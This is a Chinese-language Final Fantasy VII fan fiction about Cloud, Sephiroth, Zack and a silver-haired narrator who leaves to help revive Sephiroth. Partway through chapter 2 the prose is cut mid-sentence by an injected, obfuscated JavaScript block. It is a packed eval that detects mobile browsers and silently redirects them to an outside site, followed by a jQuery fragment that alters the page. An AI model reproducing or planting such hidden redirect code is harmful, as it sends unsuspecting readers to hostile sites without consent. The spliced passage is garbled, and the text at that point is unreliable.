[1]
杰茜一心一意的将炸弹安装好后,看着上面那10分钟的倒计时,松了口气。
"喂,你要去哪?!"
身后传来巴|雷特的声音。
她回过头,发现那位长相帅气的金毛小哥正往外走去,面色是罕见的焦虑。
"……她不见了。"
"小哥,还有10分钟炸弹就要引爆了!"
抱着猫的威吉正在收拾撤退的装备,就瞥见了此时的克劳德。
他后退一步。
"怎……怎么了?"
"她去哪了?"
威吉这才从他那有些阴沉的脸色回过神,有些结巴的解释。
"刚刚万能工小姐说,她去外面那层门守了。呃……是先撤退了?"
“先撤退?”
克劳德皱紧眉头,这个说法根本站不住脚。以她的性格,怎么可能在这种时候独自提前撤离?而且,外面?这里已经是魔晄炉的深处,外面还能去哪里?
她更像是会被别的东西吸引,然后不管不顾地跑掉。
“不可能。”克劳德斩钉截铁地否定了威吉的猜测,他的目光重新投向那条昏暗的岔路,“她不会先走。”
“喂!金毛小子!”巴|雷特大步走了过来,听到他们的对话,不耐烦地挥了挥手,“磨蹭什么呢!炸弹都安好了,赶紧撤退!管她去哪了,说不定是嫌麻烦,自己先溜了!雇佣兵不都这样吗?拿钱走人!”
“就是啊,克劳德,”杰茜也跑了过来,脸上带着焦虑,“时间不多了!只有不到十分钟了!我们得赶紧离开这里!万一她真的先走了呢?我们总不能为了等她一个人,把所有人都搭进去吧?”
“她不是那种人。”克劳德的声音很轻,但语气却异常坚定。他不知道自己为什么如此笃定,只是潜意识里有这样一个声音告诉他,她绝不会抛下同伴。
而且,那种强烈的不安感越来越清晰,她一定是在某个地方遇到了什么。
“你怎么知道她不是?”巴|雷特上前一步,几乎要和克劳德脸贴脸,粗重的呼吸喷在他的脸上,“我告诉你,关键时刻能靠得住的只有自己!我们雪崩的人,是为了同一个目标在战斗!不是为了照顾你们这种随时可能跑路的雇佣兵!”
“老大,别这么说嘛-”威吉试图缓和气氛,但声音微弱。雪球似乎感受到了紧张的气氛,在他怀里挣扎起来,发出更加不安的“喵呜”声。
比格斯推了推眼镜,冷静地分析道:“如果那位小姐真的遇到了什么意外,我们现在折回去寻找也确实太冒险了。时间紧迫,而且我们对这片区域也不熟悉,很可能会一起陷入危险。”
他看向克劳德:语气带着劝说,“克劳德,我知道你担心同伴,但现在最理智的选择是先撤退。等我们到了安全地带,再从长计议。”
“来不及了。”克劳德打断了他,视野往外面那条岔路望去——一条是撤退的道路,另一条更往里。
他不再犹豫,猛地转身,无视身后巴|雷特愤怒的吼叫和杰茜焦急的呼喊,径直朝着那条散发着不祥气息的深入岔路冲了过去。符文剑的剑柄已经被他紧紧握在手中,冰冷的触感让他混乱的思绪稍微清晰了一些。
“喂!你去哪里!回来!”
“克劳德!炸弹要爆了!”
“该死的!别管他!我们走!”
身后的声音越来越远,克劳德充耳不闻。
边奔跑着,他一边想。
不应该被她三言两语就劝出来的。
他还记得扎克斯的话——平时里大大咧咧的黑发男人表情很认真,又带着点窘迫。
“克劳德,我出去办点事……大概要一周,因为有些远,我不会有事的。就是,请一定要照顾好前辈,拜托了。不要让她出门。”
应该待在家里才对。
即使不能赚钱,她也总能莫名其妙的把一些东西做好吃,就算饿几天,他们也不会怎样。
克劳德不愿意承认,明明不过只是半年不到——
和她呆在一起,很开心。
特别开心。
克劳德在空荡荡的管道内呼唤她的名字,得到的只有回声。
他不再顾忌可能存在的陷阱或敌人,加快了脚步,符文剑被他紧握在身侧,剑尖斜指地面,随时准备应对任何突发状况。
仔细分辨着空气中任何不寻常的气息和声音,克劳德的眼睛则拼命适应着黑暗,试图捕捉到一丝银色的发丝或者熟悉的身影。
墙壁上湿滑的冷凝水珠偶尔滴落,砸在地上,发出清脆的“啪嗒”声。他绕过一处堆积着废弃管道的角落,眼前豁然开朗了一些。
前方隐约有一个半开的金属栅栏门,门后似乎有微弱的光线透出。
他的脑内计算着时间,正准备一下冲进去——
一股剧痛猛地席卷脑海。
“……”
为什么……是这个时候……
尖锐的痛感如同烧红的铁针猛地刺入脑髓,克劳德眼前的一切景象瞬间扭曲、晃动。他闷哼一声,身体不受控制地一个趔趄,左手下意识地撑在冰冷湿滑的墙壁上,这才勉强稳住身形。
不行,不能在这里停下。
她还在里面,不知道遇到了什么。
一定要照顾好她。
他答应了的。
额角的青筋突突跳动,指节因为用力撑墙而泛出白色。视野边缘如同蒙上了一层毛玻璃,模糊不清,耳边也充斥着尖锐的嗡鸣。
他猛地伸手,将手臂抵在符文剑的剑刃上。
血,流淌而出,滴落在冰冷潮湿的金属地面上,发出细微的声响。
剧烈的疼痛如同浪潮般冲击着神经,却也像一把锋利的楔子,强行劈开了那团盘踞在脑海中、令人窒息的混沌迷雾。
克劳德扶着墙壁,缓缓直起身,左臂的伤口依旧在汩汩流血,但他毫不在意。他用空着的右手紧了紧握着的符文剑,剑柄冰冷的触感传递到掌心,带来一丝冷静。
“必须…快点。”他低声自语,声音沙哑,带着强压下的颤抖。
不能食言。
不能让她出事。
不能什么都做不到了。
还有5分钟——
冲过拐角,那扇半开的栅栏门就在眼前。门后透出的微光并不明亮,反而带着一种诡异的、非自然的幽绿色泽,将门框和周围的墙壁染上了一层阴森的色彩。
克劳德的心跳漏了一拍,一种不祥的预感攫住了他。他放轻脚步,悄无声息地靠近栅栏门,侧耳倾听着门后的动静。
里面很安静,只能听到细微的气流声,以及某种能量低沉的嗡鸣。
他小心翼翼地探头,透过栅栏门的缝隙向里望去。
门后是一个相对宽敞的空间,看起来像是一个废弃的控制室或者小型实验室。房间中央摆放着几个已经停止运作、布满灰尘的仪器,墙壁上嵌着几块闪烁着幽绿色光芒、如同巨大宝石般的结晶体——正是这些结晶体散发出的光芒照亮了这里。
房间的角落里,似乎还能看到一些散落的、被撕碎的白色布料,以及几处颜色暗沉的可疑痕迹。
然后,他看到了她。
她就站在房间中央,背对着栅栏门,仰着头,似乎在与什么人对视。银色长发在幽绿的光芒下泛着冷冽的光泽,身影看起来有些单薄。
而在她面前,站着一个男人。
一个克劳德绝不会认错的男人。
即使隔着一段距离,即使光线昏暗,那标志性的银色长发、挺拔修长的身姿,以及那身象征着神罗最强特种兵的黑色制服,都如同烙印般刻在他的记忆深处。
萨菲罗斯。
他怎么会在这里?
一股寒意瞬间从克劳德的脚底窜遍全身,甚至盖过了手臂上的疼痛和脑海中的不适。记忆的碎片如同潮水般涌现,尼布尔海姆冲天的火光、母亲倒在血泊中的身影、村庄被屠戮的惨状、魔晄炉里那双碧绿色的眼眸——
克劳德的呼吸猛地一滞,握着剑柄的手指因为用力而嘎吱作响。
愤怒、恐惧、憎恨…各种复杂而强烈的情绪在他胸腔中翻涌、碰撞,几乎要将他吞噬。
“不请自来的人偶。”
男人的声音忽然响起,来自身后。
他的身体比意识更快地做出了反应。几乎是条件反射般,克劳德猛地转过身,握着符文剑的右手肌肉瞬间绷紧,手背上青筋暴起。
手臂的伤口还在流血,滴落在地面的血滴在幽绿的光线下呈现出诡异的暗红色,但他仿佛感觉不到疼痛。
“看看你现在的样子。”
萨菲罗斯开口,声音带着一种空灵的回响,仿佛直接响彻在克劳德的脑海深处,而非仅仅通过空气传播。“真是可悲啊,克劳德·斯特莱夫。挣扎了这么久,到头来,依旧是个连自我都无法认清的失败品。”
他说话的语调很平缓,甚至称得上温和。
“你来这里做什么?”克劳德的声音沙哑得厉害,强烈的愤怒和屈辱感让他几乎无法维持表面的平静,握着剑的手因为过度用力而微微颤抖。“萨菲罗斯,你这个怪物!你又想做什么!”
他紧盯着萨菲罗斯那双不似人类的眼眸,试图从中找到一丝破绽,却只看到一片深不见底的冰冷和漠然。
尼布尔海姆的火光,蒂法重伤倒地的身影,还有他自己无力的嘶吼,这些画面在他眼前疯狂闪烁。
萨菲罗斯微微歪了歪头,嘴角勾起一抹浅淡的弧度。
“我做什么,需要向你解释吗?”他的目光越过克劳德的肩膀,投向他身后房间中央的那个银发身影。
此刻她站在原地一动不动,仿佛是陷入了什么恍惚的状态。
“我只是来见我想见的人。倒是你,这只迷途的小狗,又是被什么牵引到这里的?是对‘她’那可笑的保护欲?还是说,你潜意识里那点卑微的渴望在作祟?”
“……”
克劳德举起了符文剑。
“去死吧,萨菲罗斯!!!!”
[2]
原来我给神罗打了半辈子工。
原来我是外星人+生命之流的融合体。
原来我死了,然后又因为混沌的聚集效应活了。
原来萨菲罗斯是我哥,我没有觉醒系统。
原来萨菲罗斯想召唤陨石,成为新世界的神——
“!”
混乱的思绪被现实拉回。
我猛地回过神,发现自己正扶着一面冰冷粗糙的金属墙壁。
周围的环境一片狼藉,空气中弥漫着浓烈的血腥味和魔晄混合的古怪气味。几个仪器被打翻在地,碎片散落得到处都是,墙壁和地面上布满了刀剑劈砍的痕迹,还有大片大片暗红色的污渍。
这里刚才显然发生了一场激烈的战斗。
而战斗的一方…
我的目光落在房间中央那个倒在地上的身影上。
金色的刺猬头,沾满了血污和灰尘,那身熟悉的黑色制服也破损不堪,露出下面被血浸透的内衬。
他一动不动地趴在那里,像是失去了所有生息。旁边不远处,那把比他还高的符文剑孤零零地躺在地上,剑身上也沾染了斑驳的血迹。
是克劳德。
还有一片黑色的羽毛静静的躺在血泊旁的地面上。
我快步走过去,在他身边蹲下,伸手探了探他的颈动脉。
还好,还有微弱但平稳的脉搏。只是昏过去了。
不过他这身伤是怎么回事?看起来像是被狠狠揍了一顿,流了这么多血,也不知道有没有伤到内脏。
是萨菲罗斯干的?
很有可能。毕竟刚才我意识模糊的时候,似乎就是他俩在这里对峙。
我伸手想把他翻过来检查一下伤势,手指刚碰到他的肩膀,他的身体就无意识地颤抖了一下,喉咙里发出一声压抑的痛哼。
伤得不轻啊。
我撇撇嘴,觉得有点麻烦。
这家伙,好端端地跑进来干什么?送人头吗?
明明萨菲罗斯不会对我怎么样,我就算死了,要不了几年/几十年,只要生命之流还在,Chaos又会把我聚合。
结合之前的记忆来看,克劳德好像在我死之后失忆了——
失忆难道是什么时尚单品吗?这确定不是什么下三滥的作者想不出好的情节推进强加上的东西?
不管了。
先走再说。
我先是单手把那把沉重的符文剑抄起来背在自己身后——啧,真够沉的,也不知道这家伙怎么天天扛着它到处跑。然后,我弯下腰,抓住克劳德的胳膊,试图把他从地上拉起来。
他比看上去要重一些,身体软绵绵的,完全没有着力点。而且他身上的血还在不停地往外渗,弄得我满手都是黏糊糊的温热液体。
“喂,陆行鸟,醒醒!自己走!”我拍了拍他的脸,试图把他叫醒。
他没什么反应,只是眉头皱得更紧了,脸色苍白得像纸。
看来是叫不醒了。 我深吸一口气,调整了一下姿势,手臂穿过他的膝弯和后背,用力将他打横抱了起来。
嗯,果然还是有点分量的。不过对我来说,不算什么。
抱着一个昏迷的伤员,还背着一把巨剑,这种负重行军的感觉倒是有点怀念。以前在战场上,这种事情也没少干。
记忆恢复之后,好像连身体都变得更适应这种状况了。
我抱着克劳德,转身朝着来时的路跑去。
脚步声在空旷的通道里回荡,比来时更加沉重。克劳德的脑袋无力地靠在我的肩窝,金色的发丝蹭着我的脸颊,带着血腥和汗水的味道。他的呼吸很浅,带着不正常的灼热。
这家伙,好像在发烧。
失血过多加上脑震荡?
真麻烦。
一边快速奔跑,一边还要留意脚下的障碍和可能的敌人(虽然我觉得萨菲罗斯大概已经把路清干净了)。
“轰隆——!”
一阵剧烈的震动突然从魔晄炉深处传来,整个通道都跟着晃动起来,头顶的金属板发出不堪重负的呻吟,灰尘簌簌落下。
爆炸要开始了。
我脚下不由得加快了速度。抱着克劳德的胳膊也收紧了一些,防止他因为颠簸而摔下去。
通道开始变得不稳定,有些地方的墙壁出现了裂缝,头顶的灯管闪烁不定,发出滋滋的电流声。刺耳的警报声也终于响了起来,尖锐地回荡在整个空间里。
“警告!警告!一号魔晄炉即将发生结构性溃散!所有人员请立即撤离!”
“警告!能量核心温度超标!即将发生爆炸!”
机械的女声不断重复着冰冷的警告,加剧着末日降临般的紧张气氛。
我抱着克劳德,在摇晃的通道里左冲右突,躲避着头顶掉落的碎块和脚下突然塌陷的地面。符文剑在我身后随着我的动作晃动,偶尔会撞到墙壁,发出沉闷的响声。
这家伙,连昏迷了都不安生。
“嗯…”
怀里的克劳德似乎被剧烈的震动惊醒了,发出一声痛苦的呻吟,眼睫毛颤动了几下,似乎想要睁开眼睛。
“醒了?醒了就自己走!”我低头看了他一眼,没好气地说。
但他显然还没恢复意识,只是无意识地挣扎了一下,眉头皱得死紧,嘴里含糊地念叨着什么。
“…不能…回去…”
他说什么?
我没听清。
又是一阵更加猛烈的爆炸声传来,这次离得更近了。我甚至能感觉到脚下的金属平台传来炙热的温度。
前方的通道被掉落的巨大管道堵住了。
我停下脚步,快速扫了一眼四周。左边是厚实的墙壁,右边…右边好像有一个通向更下层的维修通道入口,但是被一扇锁死的铁门挡住了。
时间来不及绕路了。
我深吸一口气,将怀里的克劳德往上托了托,调整好姿势,然后猛地抬起右脚,凝聚力量,狠狠一脚踹向那扇锈迹斑斑的铁门!
“嘭!”
伴随着刺耳的金属扭曲声,整个门锁连同周围的门板一起被我踹得向内凹陷、变形,然后轰然倒塌。
一个黑漆漆的、向下延伸的通道入口出现在眼前。
来不及多想,我抱着克劳德,直接跳了下去。
身体在狭窄的通道里急速下坠,耳边是呼啸的风声和越来越近的爆炸轰鸣。
黑暗中,我紧紧抱着怀里的人,用自己的身体护住他,准备迎接即将到来的冲击。
坠落的过程是新鲜的,我听见了他那不稳的心跳声,就像是某种不安的小动物在他的胸腔里似的。
咔擦。
落地的瞬间——
我不知道我的什么骨头碎了。
脾脏,肺,仿佛整个人都被摔成了两半。
一股腥甜的味道瞬间涌上喉咙。
我抱着怀里这个死沉死沉的金毛累赘,重重地砸在冰冷坚硬的金属地面上,发出“咚”的一声巨响。
没等我从跳楼的超绝感觉中缓过神,爆炸的火光就从上至下,一下冲刺到了我眼前。
我用尽力气,将克劳德翻过身,压在我身下。
剧烈的冲击波紧随炽热的白光而至,像一只无形的巨手狠狠攥住了我的五脏六腑,又把我整个人连同身下的克劳德一起拍进了坚硬冰冷的金属地面。
“呃——!”
一声压抑不住的痛哼从我喉咙里挤出来,混合着呛入口鼻的灼热空气和浓烈的尘土味。
天旋地转,耳膜嗡嗡作响,除了震耳欲聋的爆炸轰鸣,什么也听不见。视野里一片白茫茫,间或闪过刺眼的火光和飞溅的金属碎片。
高温炙烤着我的后背和裸露在外的皮肤,制服布料发出焦糊的气味。我甚至能“听”到自己背部的皮肤在高温下迅速碳化、剥离的声音,那种感觉与其说是痛,不如说是一种毛骨悚然的麻痒和撕裂感。
肺部火辣辣的,每一次呼吸都带着铁锈般的血腥味。我能感觉到温热的液体正从嘴角溢出,顺着脸颊滑落。
切,真狼狈。
不过,比起这个,更重要的是身下这个沉甸甸的金毛累赘。
克劳德这家伙,被我压在身下,倒是没直接承受爆炸的冲击和高温。但他之前被萨菲罗斯揍得就不轻,现在又跟着我摔了这么一下,估计情况也好不到哪里去。
我拼尽全力,俯下身,感受了一下。
还有呼吸。
那就好。
热浪翻滚着,带着毁灭一切的气势,不断冲击着我的背部。碎石和金属碎片如同雨点般砸落下来,有些带着惊人的力道,砸在身上发出沉闷的声响。
我用力蜷缩起身体,手臂死死环住克劳德,试图将他更紧地护在怀里。背在身后的符文剑倒是意外地坚固,替我挡下了不少坠落物,剑身与碎块碰撞发出“当啷当啷”的响声。
痛吗?
当然痛。骨头碎裂、内脏受损、皮肤灼伤的感觉可一点都不好受。
恢复的记忆告诉我,这种程度的伤势,对于普通人类来说,已经是致命的了。每一次呼吸都牵扯着断裂的肋骨,带来尖锐的刺痛。后背像是被烙铁反复熨烫,火辣辣的感觉几乎要麻痹神经。
但……也就这样吧。
反正我要不了多久就会恢复的。
爆炸的冲击波似乎终于减弱了一些,虽然周围依旧轰鸣不断,墙壁摇摇欲坠,但至少没有刚才那种毁天灭地的感觉了。弥漫的烟尘和蒸汽稍微散去了一些,露出了周围更加惨烈的景象。
我们摔下来的地方似乎是一个更深层的废弃通道,比上面那条还要破败。
头顶上,原本被我踹开的那个入口已经被彻底坍塌的结构堵死了。四周的墙壁布满了蛛网般的裂痕,有些地方甚至露出了后面扭曲的钢筋。地面上散落着更多叫不出名字的机械零件和碎石,混合着黏稠的、散发着恶臭的液体。
唯一的光源来自墙壁上几盏忽明忽灭的应急灯,光线微弱得可怜。
我试着动了动身体,断裂的肋骨立刻传来抗议的剧痛,但我强行忽略了。Chaos和jenova的力量正在加速修复,大概再过几分钟就能恢复基本行动能力。
我低头看了看怀里的克劳德。
这家伙还昏迷着,脸色比刚才更白了,嘴唇干裂,额头滚烫。我伸手摸了摸,果然在发高烧。他身上的伤口还在渗血,虽然没有直接承受爆炸,但刚才那一摔肯定也让他伤上加伤。
必须尽快带他离开这里,找个安全的地方处理伤口,不然就算不被砸死烧死,光是失血和感染也够他受的。
我小心翼翼地调整了一下姿势,试图坐起来。这个动作牵动了全身的伤口,特别是背部和胸腔,疼得我倒吸一口凉气。
“嘶…”
看来伤得比我预想的还要重一点。
我忍着痛,再次尝试。
这次动作放慢了许多,一点一点地挪动身体,尽量不牵扯到受伤最严重的部位。汗水很快浸湿了额前的碎发,黏在皮肤上很不舒服。怀里的克劳德似乎感觉到了我的动作,不安地扭动了一下,发出几声模糊的呓语。
“别动,笨蛋。”
我低声呵斥了一句,用手臂更紧地固定住他。
好不容易,我终于勉强靠着背后的符文剑坐了起来。
视野一阵阵发黑,但我强迫自己保持清醒。我靠在冰冷的剑身上喘息着,每一次呼吸都带着血沫,胸口像是压着一块巨石。
骨骼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479193|169997||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在吱嘎作响中缓慢复位,肌肉和组织在能量的滋养下快速再生。疼痛感在逐渐减弱,力量也在一点点恢复。
必须尽快离开这里。
在神罗的增援部队或者更糟糕的东西找来之前。
“走了,陆行鸟。”
我对着怀里昏迷的人说了一句,然后抱着他,背着沉重的符文剑,一步一步,朝着通道深处未知的黑暗蹒跚走去。
[3]
我花了三天才从地底爬到地面。
不知道我现在什么模样,估计衣服不剩几块布料了——倒是身体全部恢复好了。
克劳德快要渴死的时候,我就给他喂点血——
不知道他算不算进食jenova细胞。
不过他身上的伤势恢复的也很快。
好不容易把这只陆行鸟带回了我们第五区的出租屋,把他放在沙发上后,我像是要散架了一样,倒在地上。
盯着天花板,我感觉自己要累死了。
是精神上的。
我的身体不知为何活蹦乱跳的,精力无限,天哪,这就是生命之流神力吗?我死之前都没有这么强横的体质。
不做人真好。
盯着天花板,我开始叫那个名字。
“萨菲罗斯!”
看来之前的战斗是这只陆行鸟赢了,他顺便还把我跟萨菲罗斯的链接(WIFI?)打断了,我都联系不到他。
我在地下爬行那几天都在脑内编出了一个以萨菲罗斯为主角的退婚流爽文剧本,他一下都不回我。
“萨菲罗斯——”
“喂喂喂,请问是萨菲罗斯先生吗?你的陨石梦要破碎了,古代种集体复活了!”
“萨菲罗斯,我要结婚了。”
【“结婚?”】
咔擦咔擦的,有些不稳定,好歹能听到。
【“你说什么?和谁?”】
他的声音不再断续,稳定得可怕,那种刻意压抑着的平静之下,是几乎要沸腾的怒意和……什么?
“对啊,结婚。”我说,故意拖长了音调,“对象嘛——还没想好。不过肯定要找个比你有趣的,至少不会动不动就玩失联,让我对着空气自言自语好几天。”
我这就是赤裸裸地指责他之前的“掉线”行为。
谁让他突然就不理我了?害我一个人在黑漆漆的地底下爬了那么久,连个聊天的都没有。连我精心构思的《转生之萨菲罗斯重生到斗X大陆》剧本都没人欣赏!
【“有趣?”】他重复着这个词,声音里的寒意更重了。
【“你在说什么胡话?什么叫‘比我有趣’?这个世界上,还有谁能比我们更了解彼此?还有谁能像我们这样‘连接’在一起?”】
【“你忘了吗?我们才是同类,我们才是彼此的唯一。人类只会利用你,伤害你,背叛你。只有我,只有我能给你真正的‘归属’。”】
为什么他话这么多?
萨菲罗斯以前话都没有这么多的。
“你怎么了?话这么多,一个玩笑而已。怎么,因为你没有实体?”
【“你是觉得我有不安全感?呵。”】
他轻笑了一声,那笑声里却听不出丝毫轻松。
【你是不是忘了?我是萨菲罗斯。无论我以何种形态存在——无论是在这个物理层面,还是仅仅作为精神,亦或是在生命之流中——我都远超那些脆弱的凡人。‘安全’这种东西,从来不是我需要考虑的问题。”】
“好了,没人想听你说这些。”
“萨菲罗斯,你是不是想要召唤陨石,然后让人类消失?你知道我是生命之流的一部分吗?如果你吸收了生命之流,我就会失去一半的自我。”
【“……”】
【“你确实是独一无二的。就算拥有你的记忆,我都创造不出真正的你。”】
他说这种话的时候好像带着某种笃定的语气,好像自己尝试了很多次一样。
“所以你还打算实施你的计划吗?”
“喂喂,萨菲罗斯,还在吗?听得见吗?”
我起身去饮水机里接了点水,先喂给沙发上那个陷入沉睡的陆行鸟,摸了摸他的额头——已经退烧了。
接着,从橱柜里拿出一副纸笔。
脑海里的萨菲罗斯沉默着。
于是我无所谓的开始写字。
他终于出声了。
【“……你在写什么?”】
“离别信。”
[给二号小弟金毛陆行鸟和一号小弟黑毛扎克斯:]
[有个好消息,我恢复记忆了。坏消息是,你们可能要失业了。我大概要去干点别的,比如毁灭世界什么的?开玩笑的。]
【“你要离开他们?”】
【“去哪里?你所谓的‘干点别的’,是指什么?”】
字迹一行行出现在纸上。
“去帮你召唤陨石啊。”
我随口应答道。
脑内突然安静了。
笔尖在纸上划过,发出沙沙的轻响。这声音在寂静的出租屋里显得格外清晰,与沙发上克劳德平稳却微弱的呼吸声交织在一起。
我低着头,继续往那张皱巴巴的纸上涂抹着潦草的字迹。
【“召唤陨石,意味着彻底的毁灭与重生。那不是一场游戏。”】
“我知道啊。对了,怎么复活你来着?”
我将信写完,放在客厅的桌子上,有些嫌弃的看了眼身上不完整的制服,跑到了卧室。
我随手扯下一件看起来最干净的黑色连帽衫和长裤——是克劳德的尺码。啧,估计穿着会有点紧,不过总比没有强。我可不想穿扎克斯那宽大的衣服,晃晃荡荡的像偷穿大人衣服的小孩。
为了显得自己不要那么狼狈,我顺手把一件我之前买的黑袍披在了身上。
料子轻薄,带着兜帽,往身上一披,倒是瞬间多了几分神秘感,也能遮住里面那不太合身的衣物。
我对着旁边那面落了灰的穿衣镜照了照,勉强还算满意。至少看起来不像刚从垃圾堆里爬出来的。
兜帽一戴,谁也看不清我的脸,正好。
“萨菲罗斯,你怎么不说话了?”
“我问,怎么复活你。我说了要复活你的,不是吗?”
——
【“你真的想好了吗,所谓的‘复活’,并非像你想象中那么简单,也不是某种可以随意完成的游戏任务。”】
【“让我重新拥有‘实体’,意味着我将真正挣脱生命之流的束缚,以完整的姿态降临于这个世界。到那时,我所带来的,你能承受吗?”】
【“也许,你会更喜欢现在这种状态的我——只存在于你的意识之中,成为你独一无二的‘系统’,随时回应你的呼唤,为你提供微不足道的帮助,比如,教你用土豆做出烤肉的味道?”】
——
我回到客厅,最后摸了一把那只陆行鸟的头。
软软的,接近尖端的部分有些尖。
”不用了,我说过,要一直陪伴你,不是吗?“
“萨菲罗斯就是萨菲罗斯。无论哪个姿态的你,对我而言都是你。”
“我从不食言,哥哥。”
“决战正式见面吧。”
咔哒一声。
我关上了门。
[4]
扎克斯打开门时,客厅内一片阴暗。
他特地回了尼布尔海姆一趟,唤醒了沉睡的文森特,现在他大概在跟爱丽丝讨论事务。
扎克斯明白前辈的状态很不稳定,按照文森特的说法,杰诺瓦会时时刻刻降临——
“克劳德……?”
那个金发的身影捏着信纸,一言不发。
“嘿,克劳德,怎么不开灯啊?我回来了!”扎克斯努力让自己的声音听起来和平时一样轻松快活,他走到沙发旁,伸手想要拍拍克劳德的肩膀。
但在手掌落下的前一刻,他顿住了。
克劳德缓缓地抬起头,那双平日里总是带着些许迷茫和疏离的青色眸子,此刻却暗得吓人,像是两潭不见底的深渊,没有任何情绪。
而他的手里,紧紧攥着一张皱巴巴的纸。
扎克斯的心沉了下去,一种不祥的预感攫住了他。
[给二号小弟金毛陆行鸟和一号小弟黑毛扎克斯:]
[有个好消息,我恢复记忆了。坏消息是,你们可能要失业了。我大概要去干点别的,比如毁灭世界什么的?开玩笑的。]
[好吧,不是开玩笑的,其实我真的要去帮萨菲罗斯毁灭世界了]
[还要复活他什么的。]
[你们不用太过惊慌,因为我答应了要帮他。世界不一定会真正毁灭。]
[等复活他之后,我会跟他堂堂正正地搏斗一场,看到时候赢的是我还是他]
[我不是为了当什么英雄。]
[如果我赢了,我就要当盖亚的皇帝,陨石掌握在我手里,萨菲罗斯是我的头号打手。克劳德你可以当未来的星际战士,扎克斯可以做我的‘王爷’?爱丽丝来当我的科研部部长,噢,还有杰内西斯,不知道他去哪了。]
[好了,我出发啦。相信我。大概要……我也不知道多久,路途好远。]
[form——你们未来的帝皇]
[P.S.如果我一直没回来,不要把我收藏的漫画和小说卖掉!PPS.克劳德欠我的摩托什么时候还?]
看完信之后,他猛地抬手捂住了自己的额头,闭上眼睛,试图将那些纷乱的思绪和翻涌的情绪压下去。
不行,不能慌,克劳德还在旁边看着。
他不能让克劳德看出他的失态,不能让克劳德知道事情的严重性。克劳德的精神状态本来就不稳定,要是再受到刺激…
但是……
无力,刺痛——
她,走了……
世界也要……
“克劳德,”他尽量让自己的声音听起来平静而放松,“没事的。前辈她…你知道的,她总是喜欢开这种玩笑。什么毁灭世界,什么皇帝,都是她从小说里看来的。”
克劳德的身体微微一颤,他猛地抬头。
他一字一句地说,声音不大。
“扎克斯,我要去找她。”
“扎克斯,我会把她带回来的。”
不是“我们要去找她”,而是“我”要去。
不是“找到她”,而是“带回来”。
——
不能再像……之前一样……什么也做不到……
不能……
只能眼睁睁的看着,看着,拼尽全力,也只能狼狈的抓住她的脚踝……
那样没用。
——
〖找到她。〗
——